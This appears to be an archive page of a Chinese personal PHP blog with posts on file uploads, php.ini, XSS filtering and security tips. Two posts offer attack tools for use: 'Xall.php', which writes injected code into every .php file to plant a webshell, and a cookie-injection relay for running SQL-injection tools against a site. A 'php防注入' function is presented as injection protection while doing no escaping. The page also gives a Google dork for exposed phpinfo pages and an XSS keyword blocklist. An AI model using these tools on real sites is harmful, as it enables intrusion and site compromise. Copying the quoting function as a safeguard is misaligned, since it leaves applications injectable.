存档

文章标签 ‘php’

php防注入

2011年3月25日 1 条评论

翻某程序时看到这样写,记录下来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
function prepare_query($sql, $params=null)
{
	$sql_block	= explode("?", $sql);
	$sp_size	= sizeof($sql_block) - 1;
	$param_size	= sizeof($params);
 
	if ( $sp_size == 0 && $params == null)
		return $sql;
 
	if ( ($sp_size < 1) || ($param_size < 1) || ($sp_size != $param_size) )
		return "";
 
	if ($param_size == 1)
	{
		if ( gettype($params) == 'string')
		{
			$result = str_replace('?', "'".$params."'", $sql);
		}
		else if ( gettype($params) == 'integer')
		{
			$result = str_replace('?', $params, $sql);
		}
	}
	else if ($param_size > 1)
	{
		for ($i = 0; $i < sizeof($params); $i++)
		{
			if ( gettype($params[$i]) == 'string')
				$sql_block[$i] .= "'".$params[$i]."'";
			else if ( gettype($params[$i]) == 'integer')
				$sql_block[$i] .= $params[$i];
		}
 
		$result = "";
		for ($i = 0; $i < $param_size; $i++)
		{
			$result .= $sql_block[$i];
		}
	}
 
	return $result;
}

PHP禁用不安全的函数

2009年9月5日 4 条评论

一直没注意 PHP.ini 里面的 disable_functions 开关选项,此选项可关闭一些危险的函数,比如system,exec 等,比如: disable_functions = phpinfo , 如果在文件中调用  phpinfo() 函数,那么在 error_reporting 开启的情况下,会提示如下错误:

Warning: phpinfo() has been disabled for security reasons

目前发现万网主机是屏蔽此函数的。
利用 google: inurl:phpinfo.php 就可查看大量的主机信息,一般为管理员进行调试的时候放上未删除的文件。

分类: 网络安全 标签:

php_xss_filter_function.php

2009年3月17日 1 条评论
<?PHP
function RemoveXSS($val) {
   // remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
   // this prevents some character re-spacing such as <java\0script>
   // note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs
   $val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);
 
   // straight replacements, the user should never need these since they're normal characters
   // this prevents like <IMG SRC=&#X40&#X61&#X76&#X61&#X73&#X63&#X72&#X69&#X70&#X74&#X3A &#X61&#X6C&#X65&#X72&#X74&#X28&#X27&#X58&#X53&#X53&#X27&#X29>
   $search = 'abcdefghijklmnopqrstuvwxyz';
   $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
   $search .= '1234567890!@#$%^&*()';
   $search .= '~`";:?+/={}[]-_|\'\\';
   for ($i = 0; $i < strlen($search); $i++) {
      // ;? matches the ;, which is optional
      // 0{0,7} matches any padded zeros, which are optional and go up to 8 chars
 
      // &#x0040 @ search for the hex values
      $val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;
      // &#00064 @ 0{0,7} matches '0' zero to seven times
      $val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
   }
 
   // now the only remaining whitespace attacks are \t, \n, and \r
   $ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
   $ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
   $ra = array_merge($ra1, $ra2);
 
   $found = true; // keep replacing as long as the previous round replaced something
   while ($found == true) {
      $val_before = $val;
      for ($i = 0; $i < sizeof($ra); $i++) {
         $pattern = '/';
         for ($j = 0; $j < strlen($ra[$i]); $j++) {
            if ($j > 0) {
               $pattern .= '(';
               $pattern .= '(&#[xX]0{0,8}([9ab]);)';
               $pattern .= '|';
               $pattern .= '|(&#0{0,8}([9|10|13]);)';
               $pattern .= ')*';
            }
            $pattern .= $ra[$i][$j];
         }
         $pattern .= '/i';
         $replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag
         $val = preg_replace($pattern, $replacement, $val); // filter out the hex tags
         if ($val_before == $val) {
            // no replacements were made, so exit the loop
            $found = false;
         }
      }
   }
   return $val;
}
?>
分类: 编程地带 标签: ,

PHP代码的优与劣

2008年11月29日 没有评论

ps:我认为适用于各种语言。加之最近找工作,要面试。特看看此文。

来源:php5研究室

我在SitePoint做面试官的时候一定会问的问题是:你认为PHP代码的优劣体现在哪里?因为这个问题可以让我大体知道应聘者是哪种类型的程序员,而不是单纯地考察他对PHP函数的掌握程度(这一点Zend的PHP认证做得不错,雅虎的PHP程序员面试题也属于此类)。

  重要的是,这个问题可以让我知道应聘者是否经历过这样的事情——从一个懒散程序员手中接过一段凌乱的代码进行重用,或者要帮助团队中的其他成员来处理这类事情。   阅读全文…

分类: 编程地带 标签:

PHP $_FILES详解

2008年9月27日 没有评论

文件上传表单

<br /><form enctype="multipart/form-data" action="URL" method="post"><br /><input type="hidden" name="MAX_FILE_SIZE" value="1000"><br /><input name="myFile" type="file"><br /><input type="submit" value="上传文件"><br /></form><br />

$_FILES数组内容如下:

$_FILES['myFile']['name']   客户端文件的原名称。
$_FILES['myFile']['type']   文件的 MIME 类型,需要浏览器提供该信息的支持,例如”image/gif”。
$_FILES['myFile']['size']   已上传文件的大小,单位为字节。
$_FILES['myFile']['tmp_name']   文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定,但 用 putenv() 函数设置是不起作用的。
$_FILES['myFile']['error']   和该文件上传相关的错误代码。['error'] 是在 PHP 4.2.0 版本中增加的。下面是它的说明:(它们在PHP3.0以后成了常量)
  UPLOAD_ERR_OK
    值:0; 没有错误发生,文件上传成功。
  UPLOAD_ERR_INI_SIZE
    值:1; 上传的文件超过了 php.ini 中 upload_max_filesize 选项限制的值。
  UPLOAD_ERR_FORM_SIZE
    值:2; 上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值。
  UPLOAD_ERR_PARTIAL
    值:3; 文件只有部分被上传。
  UPLOAD_ERR_NO_FILE
    值:4; 没有文件被上传。
    值:5; 上传文件大小为0.

文件被上传结束后,默认地被存储在了临时目录中,这时您必须将它从临时目录中删除或移动到其它地方,如果没有,则会被删除。也就是不管是否上传成功,脚本执行完后临时目录里的文件肯定会被删除。所以在删除之前要用PHP的 copy() 函数将它复制到其它位置,此时,才算完成了上传文件过程。

分类: 编程地带 标签:

php空字节的一个tips

2008年6月23日 没有评论

Post by amxku


晚上给SEbug装个论坛,整了半天源码总是直接显示出来了,找了半天发现有个文件里存在非法字符。

和 Helvin 测试了下,发现在php中插入0x00可以让php不解析,过滤不严的话,就可以直接让他显示源代码。非程序错误跳出,是解释器没有执行。可能在PHP看来只是一个正常的错误,他认为请求了错误内存地址。
未命名.jpg 大小: 3.64 K 尺寸: 230 x 102 浏览: 11 次 点击打开新窗口浏览全图

在网上找了一下php关于Null Byte Character的漏洞真不少。测试一下,发现GET是没有影响的,那就没价值了。php处理字串的代码好几M呢,懒得去看也不一定能看得明白。有兴趣的朋友可以跟一下。

分类: 网络安全 标签:

php.ini中文注释版

2008年5月3日 没有评论

; PHP还是一个不断发展的工具,其功能还在不断地删减
; 而php.ini的设置更改可以反映出相当的变化,
; 在使用新的PHP版本前,研究一下php.ini会有好处的  

;;;;;;;;;;;;;;;;;;;
; 关于这个文件 ;
;;;;;;;;;;;;;;;;;;;  

; 这个文件控制了PHP许多方面的观点。为了让PHP读取这个文件,它必须被命名为
; 'php.ini'。PHP 将在这些地方依次查找该文件:当前工作目录;环境变量PHPRC
; 指明的路径;编译时指定的路径。
; 在windows下,编译时的路径是Windows安装目录。
; 在命令行模式下,php.ini的查找路径可以用 -c 参数替代。  

; 该文件的语法非常简单。空白字符和用分号';'开始的行被简单地忽略(就象你可能
; 猜到的一样)。 章节标题(例如 : [Foo])也被简单地忽略,即使将来它们可能
; 有某种的意义。
; 阅读全文…

分类: 系统概念 标签: ,

Xall.php-批量查询插入一句话

2008年1月17日 没有评论

作者:xy7[B.C.T]

总是忘记一句话放到哪个文件里去了,直接全部干掉…

<br /><?//xy7<br />if (!isset($dir) or empty($dir)) {<br />$dir=str_replace(&#039;&#92;&#92;&#039;,&#039;/&#039;,dirname(__FILE__));<br />echo "<font color=&#92;"#00688B&#92;">".$dir."</font>";<br />} else {<br />$dir=$_GET&#91;&#039;dir&#039;&#93;;<br />echo "<font color=&#92;"#00688B&#92;">".$dir."</font>";<br />}<br />$evilcode="<?phpinfo();//xy7?>";<br />$testdir = opendir($dir);<br />while($filea = @readdir($testdir)){<br />if(strstr($filea, &#039;.php&#039;)){<br />$fp = @fopen($filea, &#039;r+&#039;);<br />if (!strstr(@fread($fp, 20), &#039;xy7&#039;)){<br />rewind($fp);<br />$old = @fread($fp, filesize($filea));<br />rewind($fp);<br />fwrite($fp, $evilcode . $old);<br />}<br />fclose($fp);<br />}<br />}<br />closedir($testdir);<br />?><br /><hr><br /><table width="100%" border="0" cellpadding="3" cellspacing="1"><br /><tr><br /><td><b>被X的文件</b></td><br /><td><b>时间</b></td><br /><td><b>大小</b></td><br /></tr><br /><?php<br />$dirs=@opendir($dir);<br />while ($file=@readdir($dirs)) {<br />if ((is_file($file)) and (ereg("&#92;.php{0,1}$",$file)))<br />{$b="$dir/$file";<br />$a=@is_dir($b);<br />if($a=="0"){<br />$size=@filesize("$dir/$file");<br />$lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file"));<br />echo "<tr>&#92;n";<br />echo "<td>$file</td>&#92;n";<br />echo " <td>$lastsave</td>&#92;n";<br />echo " <td>$size Bytes</td>&#92;n";<br />}<br />}<br />}<br />@closedir($dirs);<br />?><br /></table><br />codz by xuanmumu

分类: 编程地带 标签: ,

PHP-cookies注入加速工具

2007年11月18日 没有评论

[codes=php]
/*
cookies 注入也加速 工具 PHP版
by 职业欠钱
最近遇到一个挂了防注入的东东,COOKIE注入可行,不过手工注入太辛苦了,便四处寻找加速工具
mika的工具依赖于SQL 错误开启的模式,而我遇到的这个是不显示错误信息的
只能够盲注了。
曾经找到一个ASP版的加速工具,其原理是将GET变量放到COOKIE里,然后调用XML去访问注入页面
将返回信息显示出来
这样的好处是可以用NBSI之类的常规注入工具进行检测
不过也许人品不好,我在用ASP版的加速工具的时候,什么也没返回
所以便有了这个简陋的PHP程序
*/

//使用方法:
//修改相关参数后,将本文件放到一个支持PHP的空间上
//把http://www.yousite.com/cookieinject.php?id=123
//填写到NBSI等注入工具中即可

error_reporting(7);
ini_set(“max_execution_time”,0);
$id=$_GET[“id”];
$id=str_replace(” “,”%20”,$id);
$id=str_replace(“=”,”%3D”,$id);
/*
articleId 换成注入页面的变量
例如 http://127.0.0.1/news.asp?articleId=123
注入变量就是articleId
*/
$inject=”articleId”;
//session是原来的COOKIE,可以自己抓包获取
$session =”ASPSESSIONIDSCBRDARD=AAGHANMCCHBPLDNPCIMFOLPI;”;
$cookie=$inject.”=”.$id.”;”.$session;
//echo $cookie;
//referer 是引用页地址,一般和目标网站相同
$referer=”http://127.0.0.1/”;
//url是注入页面的地址,注意这里不要再把注入变量写进去
$url=”http://127.0.0.1/news.asp”;
$curl=curl_init();
curl_setopt($curl,CURLOPT_HEADER,0);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_REFERER,$referer);
curl_setopt($curl,CURLOPT_URL,$url);
curl_setopt($curl,CURLOPT_COOKIE,$cookie);
$content=curl_exec($curl);
//这一句是为了把图片和iframe的相对地址改为绝对地址,根据需要可以注释掉
$content=str_replace(“src=\””,”src=\””.$referer,$content);
echo $content;
?>
[/codes]

分类: 工具收集 标签: ,

做了个PHP笔记主页

2007年11月13日 没有评论

为了学习,为了北京的梦想,为了我的未来,学习!

将服务器分出一个文件夹,用来放自己做的PHP文件和程序。

http://www.woyigui.cn/my/php/index.php

我向自己说:努力吧——woyigui!

                                                          by woyigui
                                                       2007年11月13号

分类: 娱乐休闲 标签: , ,